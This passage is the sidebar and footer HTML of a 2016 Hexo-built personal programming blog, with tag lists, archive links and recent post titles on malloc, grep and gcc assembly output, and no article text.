href="/tags/mtrace/">mtrace</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/netdisk/">netdisk</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/network/">network</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/others/">others</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/pandoc/">pandoc</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/performance/">performance</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/person/">person</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/protobuf/">protobuf</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/python/">python</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/rsync/">rsync</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/sed/">sed</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/shell/">shell</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/skype/">skype</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/sms/">sms</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/source/">source</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/ssh/">ssh</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/stack/">stack</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/storage/">storage</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/study/">study</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/svn/">svn</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/sync/">sync</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/test/">test</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/time/">time</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/tools/">tools</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/valgrind/">valgrind</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/vi/">vi</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/vim/">vim</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/virtual/">virtual</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/wget/">wget</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/windows/">windows</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/wireshark/">wireshark</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/write/">write</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/xml/">xml</a></li></ul>
    </div>
  </div>


  
    
  <div class="widget-wrap">
    <h3 class="widget-title">Nuage de mot-clés</h3>
    <div class="widget tagcloud">
      <a href="/tags/FAQ/" style="font-size: 10px;">FAQ</a> <a href="/tags/IRC/" style="font-size: 10px;">IRC</a> <a href="/tags/Translation/" style="font-size: 13px;">Translation</a> <a href="/tags/android/" style="font-size: 10px;">android</a> <a href="/tags/api/" style="font-size: 10px;">api</a> <a href="/tags/assembly/" style="font-size: 10px;">assembly</a> <a href="/tags/awk/" style="font-size: 11px;">awk</a> <a href="/tags/batch/" style="font-size: 14px;">batch</a> <a href="/tags/blog/" style="font-size: 10px;">blog</a> <a href="/tags/book/" style="font-size: 10px;">book</a> <a href="/tags/c/" style="font-size: 16px;">c</a> <a href="/tags/c/" style="font-size: 19px;">c++</a> <a href="/tags/cache/" style="font-size: 10px;">cache</a> <a href="/tags/crash/" style="font-size: 10px;">crash</a> <a href="/tags/database/" style="font-size: 17px;">database</a> <a href="/tags/debug/" style="font-size: 12px;">debug</a> <a href="/tags/dot/" style="font-size: 10px;">dot</a> <a href="/tags/driver/" style="font-size: 10px;">driver</a> <a href="/tags/emacs/" style="font-size: 11px;">emacs</a> <a href="/tags/exploit/" style="font-size: 10px;">exploit</a> <a href="/tags/file-system/" style="font-size: 10px;">file system</a> <a href="/tags/filesystem/" style="font-size: 12px;">filesystem</a> <a href="/tags/flowchart/" style="font-size: 10px;">flowchart</a> <a href="/tags/gcc/" style="font-size: 10px;">gcc</a> <a href="/tags/git/" style="font-size: 12px;">git</a> <a href="/tags/google/" style="font-size: 11px;">google</a> <a href="/tags/graphviz/" style="font-size: 11px;">graphviz</a> <a href="/tags/hexo/" style="font-size: 10px;">hexo</a> <a href="/tags/hosts/" style="font-size: 10px;">hosts</a> <a href="/tags/iscsi/" style="font-size: 14px;">iscsi</a> <a href="/tags/java/" style="font-size: 10px;">java</a> <a href="/tags/javascript/" style="font-size: 10px;">javascript</a> <a href="/tags/job/" style="font-size: 10px;">job</a> <a href="/tags/json/" style="font-size: 10px;">json</a> <a href="/tags/kernel/" style="font-size: 14px;">kernel</a> <a href="/tags/linux/" style="font-size: 14px;">linux</a> <a href="/tags/lisp/" style="font-size: 10px;">lisp</a> <a href="/tags/lua/" style="font-size: 10px;">lua</a> <a href="/tags/makefile/" style="font-size: 10px;">makefile</a> <a href="/tags/malloc/" style="font-size: 10px;">malloc</a> <a href="/tags/math/" style="font-size: 11px;">math</a> <a href="/tags/maxima/" style="font-size: 10px;">maxima</a> <a href="/tags/memory/" style="font-size: 11px;">memory</a> <a href="/tags/memory-overflow/" style="font-size: 10px;">memory overflow</a> <a href="/tags/mtrace/" style="font-size: 10px;">mtrace</a> <a href="/tags/netdisk/" style="font-size: 10px;">netdisk</a> <a href="/tags/network/" style="font-size: 20px;">network</a> <a href="/tags/others/" style="font-size: 18px;">others</a> <a href="/tags/pandoc/" style="font-size: 10px;">pandoc</a> <a href="/tags/performance/" style="font-size: 16px;">performance</a> <a href="/tags/person/" style="font-size: 11px;">person</a> <a href="/tags/protobuf/" style="font-size: 11px;">protobuf</a> <a href="/tags/python/" style="font-size: 10px;">python</a> <a href="/tags/rsync/" style="font-size: 10px;">rsync</a> <a href="/tags/sed/" style="font-size: 11px;">sed</a> <a href="/tags/shell/" style="font-size: 15px;">shell</a> <a href="/tags/skype/" style="font-size: 11px;">skype</a> <a href="/tags/sms/" style="font-size: 10px;">sms</a> <a href="/tags/source/" style="font-size: 11px;">source</a> <a href="/tags/ssh/" style="font-size: 10px;">ssh</a> <a href="/tags/stack/" style="font-size: 10px;">stack</a> <a href="/tags/storage/" style="font-size: 15px;">storage</a> <a href="/tags/study/" style="font-size: 10px;">study</a> <a href="/tags/svn/" style="font-size: 11px;">svn</a> <a href="/tags/sync/" style="font-size: 10px;">sync</a> <a href="/tags/test/" style="font-size: 11px;">test</a> <a href="/tags/time/" style="font-size: 10px;">time</a> <a href="/tags/tools/" style="font-size: 16px;">tools</a> <a href="/tags/valgrind/" style="font-size: 10px;">valgrind</a> <a href="/tags/vi/" style="font-size: 10px;">vi</a> <a href="/tags/vim/" style="font-size: 14px;">vim</a> <a href="/tags/virtual/" style="font-size: 11px;">virtual</a> <a href="/tags/wget/" style="font-size: 10px;">wget</a> <a href="/tags/windows/" style="font-size: 11px;">windows</a> <a href="/tags/wireshark/" style="font-size: 10px;">wireshark</a> <a href="/tags/write/" style="font-size: 13px;">write</a> <a href="/tags/xml/" style="font-size: 10px;">xml</a>
    </div>
  </div>

  
    
  <div class="widget-wrap">
    <h3 class="widget-title">Archives</h3>
    <div class="widget">
      <ul class="archive-list"><li class="archive-list-item"><a class="archive-list-link" href="/archives/2016/07/">July 2016</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2016/04/">April 2016</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2016/03/">March 2016</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2016/02/">February 2016</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2016/01/">January 2016</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2015/11/">November 2015</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2015/10/">October 2015</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2015/09/">September 2015</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2015/08/">August 2015</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2015/07/">July 2015</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2015/06/">June 2015</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2015/03/">March 2015</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2015/02/">February 2015</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2015/01/">January 2015</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2014/12/">December 2014</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2014/11/">November 2014</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2014/09/">September 2014</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2014/08/">August 2014</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2014/07/">July 2014</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2014/06/">June 2014</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2014/05/">May 2014</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2014/04/">April 2014</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2014/03/">March 2014</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2013/11/">November 2013</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2013/10/">October 2013</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2013/09/">September 2013</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2013/08/">August 2013</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2013/07/">July 2013</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2013/06/">June 2013</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2013/05/">May 2013</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2013/04/">April 2013</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2013/03/">March 2013</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2013/02/">February 2013</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2013/01/">January 2013</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2012/12/">December 2012</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2012/09/">September 2012</a></li></ul>
    </div>
  </div>


  
    
  <div class="widget-wrap">
    <h3 class="widget-title">Articles récents</h3>
    <div class="widget">
      <ul>
        
          <li>
            <a href="/2016/07/17/how-to-implement-malloc/">如何实现一个malloc</a>
          </li>
        
          <li>
            <a href="/2016/07/17/study-grep-more/">grep工作原理</a>
          </li>
        
          <li>
            <a href="/2016/07/17/2016-04-13-malloc/">malloc</a>
          </li>
        
          <li>
            <a href="/2016/04/27/include-what-you-use/">使用IWYU整理头文件引用</a>
          </li>
        
          <li>
            <a href="/2016/04/24/understand-gcc-assembly-output/">understand gcc assembly output</a>
          </li>
        
      </ul>
    </div>
  </div>

  
</aside>
        
      </div>
      <footer id="footer">
  
  <div class="outer">
    <div id="footer-info" class="inner">
      &copy; 2016 Matrix207<br>
      Propulsé by <a href="http://hexo.io/" target="_blank">Hexo</a>
    </div>
  </div>
</footer>
    </div>
    <nav id="mobile-nav">
  
    <a href="/" class="mobile-nav-link">Home</a>
  
    <a href="/archives" class="mobile-nav-link">Archives</a>
  
</nav>
    

<script src="//ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js"></script>


  <link rel="stylesheet" href="/fancybox/jquery.fancybox.css">
  <script src="/fancybox/jquery.fancybox.pack.js"></script>


<script src="/js/script.js"></script>

  </div>
</body>
</html>